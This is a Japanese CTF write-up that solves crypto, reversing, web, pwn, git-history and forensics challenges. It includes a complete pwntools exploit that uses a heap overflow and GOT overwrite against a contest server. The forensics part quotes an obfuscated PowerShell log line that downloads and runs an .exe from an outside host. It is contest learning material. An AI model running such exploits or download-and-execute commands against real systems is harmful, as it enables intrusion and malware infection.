はじめに
学校対抗 CTF 大会 に参加しました.
問題が難しいというより,短い時間で問題数が多かったため,どれだけ早く解けるかといった感じがありました.
折角参加したので Upsolve も含めて Writeup を書こうと思います.
(競技終了後に解いた問題については FLAG が確認できていないので間違っている可能性があります.)
Welcome
Security
情報セキュリティの3要素をアルファベット3文字で入れてください。
情報セキュリティの3要素で調べるとわかる.
CIA
gitty
Pythonのプログラムを作って、gitで管理しています!
https://github.com/Mikka-t/chal_gitty
log を見てみる.
└─< git log
commit 90fa05d6ab1ef200ba962cbcdba3605178f19db5 (HEAD -> master, origin/master, origin/HEAD)
Author: Mikka-t <80103843+Mikka-t@users.noreply.github.com>
Date: Sat Oct 28 13:26:45 2023 +0900
Update README.md
commit 92b7981f5fb31a81f346e333f8c4d63573500fd9
Author: Mikka-t <14maika18@gmail.com>
Date: Sat Oct 28 11:49:20 2023 +0900
url_decode
commit 7ec68e11b7747ba64b903b1a46941befe4d4af46
Author: Mikka-t <14maika18@gmail.com>
Date: Sat Oct 28 10:45:20 2023 +0900
caesar_cipher
commit 8a0b52dd2c8da1903df9a2a22845e308304da745
Author: Mikka-t <14maika18@gmail.com>
Date: Sat Oct 28 10:37:38 2023 +0900
generate_password: delete seed
commit ca5f86b79c9dfc92178159be656ff77517178b55
Author: Mikka-t <14maika18@gmail.com>
Date: Sat Oct 28 10:36:24 2023 +0900
generate_password
commit 6969197911ab4eef6ba8f8e70a258d864b859970
Author: Mikka-t <14maika18@gmail.com>
Date: Sat Oct 28 10:11:52 2023 +0900
b64_decode
commit 174f0568dcfb8a39658fdd7e7da21f8495dfc730
Author: Mikka-t <14maika18@gmail.com>
Date: Sat Oct 28 10:02:24 2023 +0900
init main.py
commit cecdb5b217958fec8d2cb1764396667192d8b890
Author: Mikka-t <14maika18@gmail.com>
Date: Sat Oct 28 09:34:20 2023 +0900
first commit
generate_password: delete seed
とあるので,その前まで戻す.
└─< git reset --hard ca5f86b79c9dfc92178159be656ff77517178b55
HEAD is now at ca5f86b generate_password
generate_password.py に FLAG がある.
import random
import string
def generate_password():
seed = "FLAG{Peek_into_the_past}"
random.seed(seed)
length = 12
characters = string.ascii_letters + string.digits + string.punctuation
password = ''.join(random.choice(characters) for _ in range(length))
return password
PowerPoint
消したつもりが、不注意で、情報が漏えいすることもあります。気を付けましょう。
unzip してファイルを出してみると ppt/media
の下に元の画像がある.
Crypto
Message U from AI
AI will fall in Love with you で用いたAIチャットボット AIren からあなたにメッセージを託されたので、お届けします。私に読まれると困るため、暗号化しているようです。
VNYV_EA{U:T^W`9r T:l~]wm0o,L4mWKfvpxohiw8[OCrkgX( G&by/{8Uy&'j#efT0TX,s
32bits の乱数を 624 個得られればメルセンヌツイスタの内部状態を復元することが可能
import random
from operator import xor
def untemper(x):
x = right_unshift(x, 18)
x = left_unshift(x, 15, 0xefc60000)
x = left_unshift(x, 7, 0x9d2c5680)
x = right_unshift(x, 11)
return x
def left_unshift(x, shift, mask):
i = shift
y = x
while i < 32:
y = x ^ ((y << shift) & mask)
i += shift
return y
def right_unshift(x, shift):
i = shift
y = x
while i < 32:
y = x ^ (y >> shift)
i += shift
return y
rnd = random.Random()
nums = [262474057, 3529407108, 1981223923, 1077007210, 1044732414, 1141571144, 742495390, 4243353317, 3341815964, 829255148, 3338261827, 1458013294, 2297154053, 3205806378, 469239732, 3583840227, 3762638551, 3928770406, 3536325057, 2739293945, 517249152, 4062490297, 598562960, 2938915114, 4168920695, 1398991692, 3500197803, 2604599229, 2936225221, 2308796361, 3979881815, 1227437928, 10148369, 3638490649, 814341384, 776211087, 1451318766, 806728687, 2150081782, 3872729170, 2118573951, 2874815993, 130791120, 2690464711, 311429732, 2629503874, 2083402877, 2527619751, 464204511, 1843877235, 1860020121, 1775857037, 255988593, 3026202555, 2294060822, 1028821170, 173016405, 513545901, 3373525756, 2773910627, 1219209020, 341681376, 1367408900, 3638135856, 3026549315, 954944916, 3868598550, 318863145, 1451470996, 2640494755, 4285943622, 3843006364, 3170018511, 3288541058, 369678717, 939152478, 1489720210, 3736974837, 4072539331, 1355593162, 914723876, 2317965557, 1902265402, 2868597205, 2231542937, 1643627640, 2134565341, 3536379818, 2440162957, 2693876661, 2464449792, 121932562, 4026172135, 2065803506, 982931181, 4005249289, 2765467919, 97354281, 2752517828, 3687222104, 2232007634, 3022274079, 4038018291, 4099164903, 19673582, 2258277147, 1300803684, 3474384846, 3529093200, 749040356, 3066003280, 2612035120, 1763887177, 3639067237, 1706075714, 3579897445, 1388136834, 3260669468, 2711535440, 1878251460, 824187546, 4053499326, 3961882800, 3461362851, 1769786415, 3607413065, 2989967236, 1116932111, 2154002601, 2665230710, 3993176890, 1892286593, 1403363860, 3793436382, 4241734196, 4021506726, 2053478613, 3983582159, 2630950360, 2857803204, 3523563798, 680918548, 3241146615, 1512923746, 483181479, 2942428752, 983967833, 1052346507, 1862854962, 2141209062, 3445470568, 121643628, 4028453177, 1665739316, 1107596675, 1108024048, 2166899332, 3162119542, 1833119183, 1528373161, 250027854, 1016136051, 4013158106, 1083286452, 2985944332, 4264924898, 2950395230, 3908037598, 1928000496, 2022028162, 1047143555, 2812365160, 3509906417, 3584226085, 818896662, 3590676841, 1149341081, 803514950, 1174748816, 3451971625, 677752484, 898428829, 1123219869, 1672555440, 518756233, 1589915744, 1081277013, 2927810198, 2908136758, 3461608048, 3529714032, 123706341, 762194906, 4065142625, 568886319, 3527811806, 3472083066, 3569181025, 2903164645, 931382525, 2566325356, 631258168, 3081184473, 3083062506, 1467538549, 2121512104, 77046451, 375644948, 2671483848, 3171892306, 3437334133, 1598832241, 632051959, 2881193923, 4039634887, 3154313937, 489797157, 873036188, 2006637682, 1548640136, 2279220986, 2861299217, 2101116690, 481410884, 961080960, 1954531560, 90872859, 4102046337, 2324683448, 1620546534, 3222399160, 1308196146, 2243722994, 1759465907, 4171057123, 1810243257, 1773256759, 977394008, 2491513857, 2357494113, 3686728220, 3558538828, 4006543815, 2006834639, 1447079162, 2764772017, 2276955231, 1908255679, 1472190383, 3322083084, 1189810614, 3966865979, 2726825725, 2950798942, 21499266, 2684919898, 3448522073, 2917547427, 1231527563, 2875591659, 2546321202, 4252258286, 2056922975, 1195398281, 3013444130, 2814717672, 3068881761, 4164792788, 94528397, 2382863503, 3642644057, 4142221767, 3201109964, 2045930880, 978988997, 3879128661, 3009259223, 1138518665, 2909418442, 2019406358, 1943194196, 4048299133, 1197607336, 1600611525, 4278585389, 3791919586, 886112536, 2264603483, 2594598277, 1934704249, 3891372041, 4273148526, 3834151124, 3719016125, 945901886, 711691132, 1727792397, 938902000, 2518635386, 1069239051, 3230719685, 3561663568, 4222065892, 2361345416, 1167112440, 83047109, 1884037612, 3152446082, 3250596366, 531301926, 2583027827, 1242061672, 2531179028, 3369364212, 1847974823, 4193601651, 2819178986, 849474181, 360849535, 926692057, 414831448, 409072689, 1735929787, 3199549460, 2796280152, 1620300953, 2819343148, 342413827, 3363515562, 4065309272, 4074469053, 3916272673, 1108944371, 968889497, 4036370255, 1403210814, 4263495882, 1695254291, 1696616988, 4124606474, 2474007936, 146472868, 377424187, 693537413, 835220686, 3232077737, 631152579, 2749055697, 4210880173, 465782385, 2324089582, 2460037174, 2945585154, 3100424567, 3023337518, 2063639023, 1081272643, 947557850, 1411198009, 1504427543, 2960460053, 1849673613, 3852577304, 3346497377, 1502868422, 3220146594, 1634857155, 77963457, 663689021, 1829284194, 2012059216, 3569630502, 1291466576, 2618651345, 2121316038, 2612069256, 14983473, 3921506108, 3876449743, 3337414507, 2300684461, 2022588313, 3789075991, 387474152, 2204096731, 3388023568, 507121472, 2818912383, 117160994, 2600836046, 504883440, 2781687436, 3018578186, 1090740608, 3401342984, 2759112566, 2860283980, 3867242608, 534744406, 3763814219, 388610126, 3068131014, 2462612170, 1530309341, 2640954917, 3205354770, 1500411176, 380352455, 4226800317, 2050514056, 3747733967, 2290020075, 4146330218, 2093148392, 1948684865, 2697186497, 536836927, 1310228068, 2182154653, 551752781, 249748658, 1271561984, 451593071, 708629318, 3626337025, 3514851787, 2414921516, 2696329225, 1858694245, 1683260472, 2409270370, 1521129395, 4202658206, 2726866654, 2636845469, 2435279605, 1557543246, 3423389138, 3808997731, 1710466279, 4141283641, 225380563, 2889474110, 1347892994, 2675623399, 2977589017, 2134595827, 1391947501, 1996864363, 764397380, 2924093367, 4228132692, 524195929, 3626160477, 3388475595, 2106578299, 25488070, 1841269237, 3377607620, 2709600267, 3005006631, 130273252, 1476809686, 1437551297, 3443147895, 2706064048, 1160585038, 4054837763, 3334223384, 917623273, 2116565730, 4159331146, 4218272560, 2317334419, 2831000271, 2066319721, 2145595900, 3313843689, 112225106, 1472561262, 4182112417, 302644845, 3876974715, 627209848, 839819098, 648434676, 526112166, 674938347, 1485497480, 1528977087, 477353263, 79804737, 4040916795, 3791688572, 3183500362, 700284224, 1280386714, 258003419, 2100516762, 3150919749, 2869383817, 101117877, 2889240007, 2563493939, 1072857374, 1707940940, 1399742586, 3927749828, 1897864955, 2251605254, 909637063, 33645372, 3170196853, 4207851244, 2709127301, 644455306, 2245518136, 3419000655, 1965664649, 116936092, 302262412, 342220871, 3192838406, 211634164, 1317016682, 2029459308, 872699259, 364329167, 4245060829, 1877967538, 3091861745, 1565280412, 2452674282, 3229897434, 1637740898, 4003509633, 445215751, 1270787636, 3716390215, 1720308271, 731371490, 4070943453, 459301655, 4112807102, 3608344258, 960002948, 3521110298, 1812554094, 160913677, 1423716827, 566964785, 2649029725, 3478144726, 2265038090, 1364599181, 588212312, 4011419501, 2755811562, 91269219, 1357003808, 3071110942, 1025419273, 1765013795, 902470875, 319166133, 2804303939, 812711476, 3521068752, 1615884587, 1050945041, 3983939200, 4136352651, 3673261495, 3528828326, 4003142010, 2106199125, 3913510832, 1413834757, 2926686517, 746214995, 3560502690, 905923197, 3496670374, 4083771566, 2976648254, 3814708864, 4218977500, 3128762925, 1945150088, 1782369359, 2791990163, 329575767, 1014749998, 1175867308, 1328053534, 1141417113, 72582610, 1780709154, 3168844552, 553471761, 457537001, 3773561525, 316598621, 2179295658, 3488748758, 1305789701, 958132611, 2637548471, 4181226546, 3961562922, 3861655136, 1381184684, 1586286484, 3308363027, 2784309441, 2252379442, 1820950020, 1172735125, 325067271, 2559115452, 3615793872, 1486447746, 1879922229, 1000141156]
version, state, gauss_next = rnd.getstate()
recovery_state = tuple([untemper(x) for x in nums] + [624])
rnd.setstate((version, recovery_state, gauss_next))
def fizzbuzz(n):
if n % 3 == 0 and n % 5 == 0:
return n % 33
elif n % 3 == 0:
return n % 31
elif n % 5 == 0:
return n % 30
else:
return n % 15
def crypt(n):
chr_crypt = xor(fizzbuzz(rnd.getrandbits(32)), n)
crypt = chr(chr_crypt)
return crypt
enc = b"VNYV_EA{U:T^W`9r T:l~]wm0o,L4mWKfvpxohiw8[OCrkgX( G&by/{8Uy&'j#efT0TX,s"
print(''.join([crypt(c) for c in enc]))
Many outputs
Oops! A large number of failures have leaked out. But I don't think they'll be decrypted!
複数の $e$ に対してそれぞれ $p, q$ を取得して暗号化している.
よく見ると $e$ がそれなりに小さくて被っていることがわかり,調べると $e = 53$ で暗号化されているものが 52 個あり,Hastad's Broadcast Attack が使える.
from Crypto.Util.number import long_to_bytes
f = open('output.txt', 'r')
lines = f.readlines()
f.close()
count = 0
ns = []
cs = []
E = 53
for i in range(0, len(lines), 4):
n = int(lines[i].strip().split('=')[-1])
e = int(lines[i + 1].strip().split('=')[-1])
c = int(lines[i + 2].strip().split('=')[-1])
if e == E:
count += 1
ns.append(n)
cs.append(c)
print(count)
me = crt(cs, ns)
m = int(me^(1/E))
print(long_to_bytes(m))
RSA_prime factorization
以下は、元のmessageをRSAで暗号化し、暗号文cipherを得た。暗号化される前の元のmessageを求めよ。
n = 45889007143501088985160568326738327436378406914875209127694523466640592999239
公開鍵e = 65537
暗号文cipher = 30402081261232351761390786445079908650466497808003660821295923739000472710389
Sage で $n$ を素因数分解するだけ
from Crypto.Util.number import *
n = 45889007143501088985160568326738327436378406914875209127694523466640592999239
e = 65537
cipher = 30402081261232351761390786445079908650466497808003660821295923739000472710389
factors = factor(n)
p = factors[0][0]
q = factors[1][0]
# p = 197323477870661918048768464614549597571
# q = 232557258967326730394598294322087984109
phi = (p-1) * (q-1)
d = inverse(e, phi)
message = long_to_bytes(int(pow(cipher, d, n)))
print(message)
Reversing
Redacted
フラグを出力するプログラムを作りました!
ちゃんとフラグは出力されているはずなのに途中で見切れてしまう...?
Ghidra でデコンパイルする.
undefined8 main(void)
{
long in_FS_OFFSET;
ulong i;
undefined4 local_148 [60];
byte local_58 [72];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_148[0] = 0x73;
local_148[1] = 0x79;
local_148[2] = 0x74;
local_148[3] = 0x72;
local_148[4] = 0x4e;
local_148[5] = 0x42;
local_148[6] = 0x5d;
local_148[7] = 6;
local_148[8] = 0x5b;
local_148[9] = 0x6a;
local_148[10] = 0x4c;
local_148[11] = 5;
local_148[12] = 0x40;
local_148[13] = 0x6a;
local_148[14] = 3;
local_148[15] = 0x54;
local_148[16] = 0x4f;
local_148[17] = 0x50;
local_148[18] = 0x6a;
local_148[19] = 0x5c;
local_148[20] = 0x5b;
local_148[21] = 0x41;
local_148[22] = 5;
local_148[23] = 0x6a;
local_148[24] = 1;
local_148[25] = 0x5d;
local_148[26] = 0x50;
local_148[27] = 0x6a;
local_148[28] = 0x54;
local_148[29] = 0x57;
local_148[30] = 0x4c;
local_148[31] = 6;
local_148[32] = 6;
local_148[33] = 0x6a;
local_148[34] = 1;
local_148[35] = 0x5d;
local_148[36] = 0x50;
local_148[37] = 0x6a;
local_148[38] = 1;
local_148[39] = 0x57;
local_148[40] = 0x4c;
local_148[41] = 6;
local_148[42] = 0x46;
local_148[43] = 0x6a;
local_148[44] = 0x52;
local_148[45] = 1;
local_148[46] = 0x4f;
local_148[47] = 0x50;
local_148[48] = 0x46;
local_148[49] = 0x6a;
local_148[50] = 4;
local_148[51] = 0x5b;
local_148[52] = 0x41;
local_148[53] = 5;
local_148[54] = 0x6a;
local_148[55] = 0x4c;
local_148[56] = 5;
local_148[57] = 0x40;
local_148[58] = 0x48;
local_148[59] = 0x35;
for (i = 0; i < 0x3c; i = i + 1) {
local_58[i] = (byte)local_148[i] ^ 0x35;
}
printf("%s",local_58);
puts(&DAT_00102010);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
同じように処理する.
enc = [0x73, 0x79, 0x74, 0x72, 0x4e, 0x42, 0x5d, 6, 0x5b, 0x6a, 0x4c, 5, 0x40, 0x6a, 3, 0x54, 0x4f, 0x50, 0x6a, 0x5c, 0x5b, 0x41, 5, 0x6a, 1, 0x5d, 0x50, 0x6a, 0x54, 0x57, 0x4c, 6, 6, 0x6a, 1, 0x5d, 0x50, 0x6a, 1, 0x57, 0x4c, 6, 0x46, 0x6a, 0x52, 1, 0x4f, 0x50, 0x46, 0x6a, 4, 0x5b, 0x41, 5, 0x6a, 0x4c, 5, 0x40, 0x48, 0x35]
flag = []
for e in enc:
flag.append(chr(0x35 ^ e))
print(''.join(flag))
Randomize
Flagを暗号化するプログラムを作成しました!
誰にも解読できないよね・・・?
デコンパイル
undefined8 main(EVP_PKEY_CTX *param_1,int param_2)
{
FILE *__stream;
int i;
init(param_1);
encrypt(buf,param_2);
__stream = fopen("out.txt","w");
for (i = 0; buf[i] != '\0'; i = i + 1) {
fprintf(__stream,"%d ",(ulong)*(uint *)(cipher + (long)i * 4));
}
fclose(__stream);
puts("Done!");
return 0;
}
int init(EVP_PKEY_CTX *ctx)
{
int iVar1;
printf("Enter the seed: ");
__isoc99_scanf(&DAT_00102015,&state);
printf("Enter A: ");
__isoc99_scanf(&DAT_00102015,&A);
printf("Enter B: ");
__isoc99_scanf(&DAT_00102015,&B);
M = 0x80;
printf("Enter the flag: ");
iVar1 = __isoc99_scanf(&DAT_0010203d,buf);
return iVar1;
}
void encrypt(char *__block,int __edflag)
{
undefined4 uVar1;
int i;
for (i = 0; __block[i] != '\0'; i = i + 1) {
uVar1 = nextInt();
*(undefined4 *)(randoms + (long)i * 4) = uVar1;
*(uint *)(cipher + (long)i * 4) = (int)__block[i] ^ *(uint *)(randoms + (long)i * 4);
}
return;
}
int nextInt(void)
{
state = (B + state * A) % M;
return state;
}
デコンパイル結果から線形合同法で値を出していることがわかる.
ただし,$A, B, state$ の値はわからない
解法 1
適当に試せば解ける.
文字列 FLAG
が FLAG に入っているかどうか問題に書かれていないためわからないので,とりあえずすべて出力する.
(他の Reversing 問題では FLAG が FLAG{...}
の形式になっている.)
enc = [20, 25, 89, 92, 37, 80, 71, 64, 53, 92, 5, 108, 24, 73, 11, 96, 55, 54, 43, 62, 124, 34, 41]
for s in range(0x100):
for a in range(0x100):
for b in range(0x100):
state = s
cs = []
for e in enc:
state = (b + state * a) % 0x80
c = e ^ state
cs.append(c)
if all(0x20 <= c < 0x7f for c in cs):
print(''.join(list(map(lambda c: chr(c), cs))))
解法 2
先頭の FLAG
から $A, B, state$ を復元する.
(元の入力された値と全く同じ値が復元できるかはわからないが,成り立つものが得られる.)
最初の 4 つの値を FLAG
と XOR すると 82, 85, 24, 27
となる.
$s_{i+1} = A \cdot s_i + B \mod{0x80}$ なので,$s_{i+2} - s_{i+1} = A (s_{i + 1} - s_i) \mod{0x80}$
よって,$A = (s_{i+2} - s_{i+1}) \cdot (s_{i + 1} - s_i)^{-1} \mod{0x80}$
元の式に $A$ を代入して $B$ も求められる.
enc = [20, 25, 89, 92, 37, 80, 71, 64, 53, 92, 5, 108, 24, 73, 11, 96, 55, 54, 43, 62, 124, 34, 41]
m = 0x80
states = [enc[i] ^ ord('FLAG'[i]) for i in range(3)]
a = ((states[2] - states[1]) * pow(states[1] - states[0], -1, m)) % m
b = (states[1] - a * states[0]) % m
s0 = ((states[0] - b) * pow(a, -1, m)) % m
state = s0
flag = ''
for i in range(len(enc)):
state = (b + state * a) % m
flag += chr(enc[i] ^ state)
print(flag)
Romantic simulation game
変なゲームを手に入れた。 女の子を褒めるとflagを教えてくれるゲームらしいけど、どうしても教えてくれない。。
普通に実行しても FLAG にはたどり着けないっぽい.
Ghidra で見ると
printf("| flag{%s} |\n"
,"seki-uesuto");
という処理がある.
flag{seki-uesuto}
を提出しても Incorrect と言われる.
gdb で rip を書き換えて FLAG が出力される処理に移動してみるも,同じ FLAG しか得られない.
+==================================================================================================+
| |
| ふ、ふーん。あんた中々見込みがあるじゃない。これがflagよ。持っていきなさい。 |
| flag{seki-uesuto} |
| |
+==================================================================================================+
わからん.flag{seki-uesuto}
は偽の FLAG?
name_it
Ghidra, IDA, Radare2... you name it!
※Ghidra等のリバースエンジニアリングツールの使用を前提としています
Ghidra でデコンパイルする.
undefined8 main(int param_1,char **param_2)
{
char *pcVar1;
if (param_1 < 1) {
puts("Try other execution methods.");
}
else {
pcVar1 = strstr(*param_2,"nailed_it");
if (pcVar1 == (char *)0x0) {
puts("Oops...");
}
else {
puts("Congrats!");
pcVar1 = (char *)constructFlag();
puts(pcVar1);
}
}
return 0;
}
デバッガで途中の if (pcVar1 == (char *)0x0)
の分岐あたりで puts("Congrats!");
のところに処理を飛ばす.
pwndbg> start hoge
pwndbg> b *0x55555555519b
pwndbg> c
pwndbg> p $rip = 0x00005555555551a4
pwndbg> c
Continuing.
rev/name_it/chal_name_it
FLAG{name_1t_t0_tame_1t}
[Inferior 1 (process 25438) exited normally]
Web
Web サイト
ユーザ名は、user2であることがショルダーハッキングで確認できた。
http://44.221.226.77/login/login.php
http://44.221.226.77/ にアクセスすると以下が表示される.
OK!
You can get the flag.
Check this page's URL.
Flag is http://44.221.226.77
これが FLAG っぽい (終了直後に見つけたので確認できなかった.)
Pwn
biography
あなたの自己紹介を教えてください。
nc 18.223.82.1 9090
セキュリティ機構
└─< spwn
[*] Binary: chall
[!] No libc
[!] No loader
[*] file chall
ELF 64-bit LSB executable
x86-64
dynamically linked
not stripped
[*] checksec chall
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[!] There are some dangerous functions:
system
[*] cwe_checker chall (press Ctrl+C to stop)
脆弱性は,以下の部分で 0x20 しか確保していない領域に制限なく入力できるので BOF ができる.
std::cin >> bio->name;
この構造体本体はヒープ領域に確保されて name
の後ろには string
型の intro
がある
struct Bio {
char name[0x20];
std::string intro;
};
std::string
の構造は以下のようになっている (参考 : C++のpwn/revで使うSTLコンテナの構造とバグパターン一覧)
+0x00: <データのポインタ>
+0x08: <データのサイズ>
+0x10: <データ領域の容量> あるいは <データ本体+0x00>
+0x18: <未使用> あるいは <データ本体+0x08>
本来なら cin
に来るまではすべて NULL になっている.
BOF を使ってポインタと容量を書き換えておくことで任意アドレスの書き換えができる.
データの容量は適当に大きな値にしておく (サイズは NULL のままでも良い)
Partial RELRO で No PIE なので,GOT Overwrite で何らかのアドレスを win
関数にする.
GOT のアドレスを調べる.
(std::cin >> bio->name;
の直後の cout
を使う)
pwndbg> disass main
(snip...)
0x000000000040138f <+207>: add rax,0x20
0x0000000000401393 <+211>: mov rsi,rax
0x0000000000401396 <+214>: lea rdi,[rip+0x2e43] # 0x4041e0 <_ZSt3cin@@GLIBCXX_3.4>
0x000000000040139d <+221>: call 0x401150 <_ZStrsIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RNSt7__cxx1112basic_stringIS4_S5_T1_EE@plt>
0x00000000004013a2 <+226>: mov rax,QWORD PTR [rip+0x2c37] # 0x403fe0
0x00000000004013a9 <+233>: mov rsi,rax
0x00000000004013ac <+236>: lea rdi,[rip+0x2d0d] # 0x4040c0 <_ZSt4cout@@GLIBCXX_3.4>
0x00000000004013b3 <+243>: call 0x401140 <_ZNSolsEPFRSoS_E@plt>
pwndbg> x/3i 0x401140
0x401140 <_ZNSolsEPFRSoS_E@plt>: endbr64
0x401144 <_ZNSolsEPFRSoS_E@plt+4>: bnd jmp QWORD PTR [rip+0x2efd] # 0x404048 <_ZNSolsEPFRSoS_E@got.plt>
0x40114b <_ZNSolsEPFRSoS_E@plt+11>: nop DWORD PTR [rax+rax*1+0x0]
from pwn import *
binary_name = 'chall'
exe = ELF(binary_name, checksec=True)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.gdbinit = '~/work/notes/others/files/gdbinit_pwndbg'
conv = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc = lambda *x, **y: io.recv(*conv(*x), **y)
ru = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: io.recvall(*conv(*x), **y)
sn = lambda *x, **y: io.send(*conv(*x), **y)
sl = lambda *x, **y: io.sendline(*conv(*x), **y)
sa = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach = lambda *x, **y: gdb.attach(io, *x, **y)
loginfo = lambda *x, **y: log.info(' '.join(x), **y)
interact = lambda *x, **y: io.interactive(*x, **y)
HOST_NAME, PORT = '18.223.82.1 9090'.split()
gdb_script = '''
b *0x0000000000401378
b *0x00000000004013a2
c
'''
if args.REMOTE:
io = remote(HOST_NAME, PORT)
elif args.LOCAL:
io = remote('localhost', PORT)
elif args.GDB:
io = gdb.debug(f'./{binary_name}', gdb_script, aslr=False)
else:
io = process(f'./{binary_name}')
addr_got_cout = 0x404048
addr_win = 0x00000000004012ad
payload = b'A' * 8 * 4
payload += p64(addr_got_cout)
payload += p64(0x100)
payload += p64(0x100)
sla('Input your name: ', payload)
sla('Input your introduce: ', p64(addr_win))
interact()
Misc
Leaked AI Key
アプリケーションに使っているAPI Key が流出した模様。でも流出したAPI Keyが見つけられない。流出したAPI Key を教えて。
問題被ってる?
└─< git log
commit 16a1150f88dd5dde51a4036bbf45f3b0ad1f636d (HEAD -> master)
Author: yud-y <westsec-ctf@example.com>
Date: Tue Nov 28 11:38:58 2023 +0900
change to use langchain
commit c63a02b538760c021f307b94fa9b2b61e4c29f24
Author: yud-y <westsec-ctf@example.com>
Date: Tue Nov 28 11:35:44 2023 +0900
delete environment file and add env example
commit fe5eefc72104028175e576a128fac12c359a31c2
Author: yud-y <westsec-ctf@example.com>
Date: Tue Nov 28 11:34:34 2023 +0900
create first version of chat-bot
commit 70874579ac6cd0613e37c3cdb151ca72a4b479f7
Author: yud-y <westsec-ctf@example.com>
Date: Tue Nov 28 11:31:41 2023 +0900
first commit
└─< git reset --hard fe5eefc72104028175e576a128fac12c359a31c2
HEAD is now at fe5eefc create first version of chat-bot
└─< echo c2steHh4eHh4eHh3cnNaR09zUmg0R2lUM0JsYmtGSkVudjF1czdKM0M3ZXh4eHh4eHh4 | base64 -d
sk-xxxxxxxxwrsZGOsRh4GiT3BlbkFJEnv1us7J3C7exxxxxxxx
難読化入門
powershellスクリプトに正しいFLAGを入力してください
(注)本問題のflag形式は、WEST{....}、という形式となります。
$input=Read-Host "FLAGを入力してください"
$flag=91,77,95,100,47,39,82,38,57,59,47,49,72,65,108,78,66,87,74,109
$input_char=$input.ToCharArray()
$i=1
foreach($char in $flag){
If((((([Byte][Char]$input_char[$i-1])+$i*4-32)%96)+32) -ne $char ){
Write-Host "WRONG"
exit
}
$i=$i+1
}
Write-Host "CORRECT"
if 文で一文字ずつ確認しているので,すべて試してみる.
d = [91, 77, 95, 100, 47, 39, 82, 38, 57, 59, 47, 49, 72, 65, 108, 78, 66, 87, 74, 109]
flag = ''
for j, f in enumerate(d):
i = j + 1
for c in range(0x20, 0x7f):
if ((c + i * 4 - 32) % 96 + 32 == f):
flag += chr(c)
print(i, c)
print(flag)
Forensics
実行ログ解析①
あなたは、株式会社WEST-SEC で起こったセキュリティインシデントの調査をしています。調査の結果、社内のある端末Aがマルウェアに感染したことが、インシデントの切っ掛けである可能性が高いと分かりました。また、端末Aの利用者によると、メールで送られてきたファイルを実行してしまったとのことでした。実行してしまったファイルの画像と端末Aのログを参照し、以下の問いに答えてください。
問題①:画像に示すファイルの拡張子を回答してください。 (ドット「.」は回答に含みません。)
Invoice_1016\Invoice_1016\Invoice
で検索すると
2023/10/19 15:55:09 JST,\Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0\powershell.exe,"""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" ( '70-6f-77<65Q72-73V68y65I6cM6cV20-2d-45V78}65V63M75Q74M69-6fI6e}50M6fM6c}69V63y79-20}42M79Q70Q61<73V73V20y2dQ77V20M68V69}64V64}65-6eM20V2dM43-6f<6dQ6dV61y6ey64}20-22<77}67M65<74-20M68M74y74<70}3ay2fQ2f}69}6bQ31-2d-34<31I31V2dI33-37-36Q36Q30V2e<76Q73M2eI73I61M6by75-72}61-2eQ6eV65y2eI6a<70y2fI65y6d<70I69I72Q65}2f-6bM6fy62y2fQ48}45V4c<50}4c<45-53-53M5fy53I48<49M50V2e}65Q78I65-20I2dM4fI75V74}46M69Q6c-65V20I43Q3aI5c<55V73-65M72}73<5cy55}73y65}72<30<31-2e}43Q53y54-45<53Q54y5c-41-70M70M44I61y74<61Q5c-4cQ6fV63V61I6cQ5cy54M45y4dM50<5cQ48y45Q4cI50I4c<45Q53<53I5fI53y48Q49V50V2eV65<78-65y3b<20Q53y74}61-72}74Q2d}50I72}6fM63<65I73}73Q20-22V43V3a<5cy55y73y65}72V73<5c<55M73I65-72I30M31}2e}43I53-54Q45Q53Q54}5c-41}70I70}44y61y74}61I5c-4cV6fV63<61V6cy5c-54I45}4dQ50I5c-48Q45<4c}50I4c<45y53y53Q5fy53M48-49I50y2eM65y78Q65-22y22' -SPLit 'Q'-SplIt'V'-SpLiT'<' -SPlIt'I' -SplIT '-'-SplIT'M'-spLIT 'y'-sPLit '}'|FoREaCh-oBJECT { ( [cOnVERT]::toinT16( ($_.TosTriNG()), 16)-aS [chAr]) } )-joIN''| .( $Shellid[1]+$SHelLID[13]+'x')",explorer.exe,68825226404,68915692942,C:\Users\User01.CSTEST\Downloads\Invoice_1016\Invoice_1016\Invoice.lnk
が見つかる
実行ログ解析②
問題②: 問題①のファイルの実行をきっかけに、外部URLからマルウェアがダウンロードされたようです。ダウンロード先のドメインを回答してください。
実行ログ解析① で見つかった PowerShell のコードを解読する
( '70-6f-77<65Q72-73V68y65I6cM6cV20-2d-45V78}65V63M75Q74M69-6fI6e}50M6fM6c}69V63y79-20}42M79Q70Q61<73V73V20y2dQ77V20M68V69}64V64}65-6eM20V2dM43-6f<6dQ6dV61y6ey64}20-22<77}67M65<74-20M68M74y74<70}3ay2fQ2f}69}6bQ31-2d-34<31I31V2dI33-37-36Q36Q30V2e<76Q73M2eI73I61M6by75-72}61-2eQ6eV65y2eI6a<70y2fI65y6d<70I69I72Q65}2f-6bM6fy62y2fQ48}45V4c<50}4c<45-53-53M5fy53I48<49M50V2e}65Q78I65-20I2dM4fI75V74}46M69Q6c-65V20I43Q3aI5c<55V73-65M72}73<5cy55}73y65}72<30<31-2e}43Q53y54-45<53Q54y5c-41-70M70M44I61y74<61Q5c-4cQ6fV63V61I6cQ5cy54M45y4dM50<5cQ48y45Q4cI50I4c<45Q53<53I5fI53y48Q49V50V2eV65<78-65y3b<20Q53y74}61-72}74Q2d}50I72}6fM63<65I73}73Q20-22V43V3a<5cy55y73y65}72V73<5c<55M73I65-72I30M31}2e}43I53-54Q45Q53Q54}5c-41}70I70}44y61y74}61I5c-4cV6fV63<61V6cy5c-54I45}4dQ50I5c-48Q45<4c}50I4c<45y53y53Q5fy53M48-49I50y2eM65y78Q65-22y22' 